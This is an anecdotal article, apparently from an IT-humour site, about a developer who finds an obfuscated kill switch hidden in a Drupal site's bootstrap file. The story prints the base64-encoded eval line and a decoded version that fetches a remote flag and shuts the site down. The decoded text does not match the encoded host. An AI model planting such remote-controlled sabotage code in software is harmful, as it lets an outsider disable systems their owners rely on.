László van den Hoek was treated to a bit of nostalgia when his client asked him for some help. The company hired a markeiting firm to create a promotional website for them, but they were having some trouble getting it working. Although László was primarily a Java Enterprise developer, he used to do quite a bit of LAMP development in his university days, and he knew his way around PHP.

The marketing company had delivered the site with minimal documentation: essentially, and e-mail saying "the code's attached - good luck with it!" Unpacking the attached zip file into the web root gave a database error, but László recognized that the site was based Drupal and quickly figured out which file to change to get the database setup. After commeting out the development settings that were left in, adding a database user, and executing a SQL script, the error finally went away. Instead, he was greeted with...

Nothing.

It was just a blank page with HTTP headers indicating zero bytes of body. Mysteriously, according to the web server logs, nothing was wrong: HTTP 200 OK, size 0.

Now, László could have (and probably should have) just shrugged his sholders and told them to get in touch with the original developers, but curiosity got the best of him. He dove into index.php and started tracing the program flow. Memories of a time when he coded only for fun flooded back, and the quaint, amateurish use and abuse of PHP reminded him of the spaghetti messes he used to create. His rose-colored glasses quickly cracked, though. Somewhere halfway through bootstrap.inc, the first include file every Drupal page uses, was this strangely out-of-place line:

eval(base64_decode('QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Rpc2dydW50bGVkLWRldmVsb3Blci5jb20vcmdfaW5pdHJvZGUudHh0IikpOyBpZighJGVuYWJsZWQpIGV4aXQ7'));

Thirty seconds and a quick Google search later, he sat flabbergasted, staring at this:

eval(@$enabled = trim(file_get_contents("http://initrode-global.com/rg_initrode.txt")); if(!$enabled) exit;)

Loading the URL in a browser confirmed that the remote file did exist, and in fact contained only the text "1", which in the above snippet, would have set the $enabled variable to true. The original author, as László later learned, had been a subcontractor hired by the marketing firm, and had been ditched a couple of months back after a non-descript dispute. He probably did not realize while writing this little "insurance policy" that the production server, unlike his development machine, ran behind a firewall and did not have unfiltered internet access. The file_get_contents() call failed, ultimately yielding "false" for the $enabled variable.

In the end, László was left with quite a few unanswered questions. At what point in time during the project was this "improvement" added? How long after going live was the disgruntled subcontractor going to throw his kill switch to "0"? Why didn't he go for something more sinister than a simple on/off switch? Was this the only booby-trap? We'll probably never know: the project ended up getting scrapped in the end, for reasons that had nothing to do with the website or the booby-trapped code.

[Advertisement] BuildMaster allows you to create a self-service release management platform that allows different teams to manage their applications. Explore how!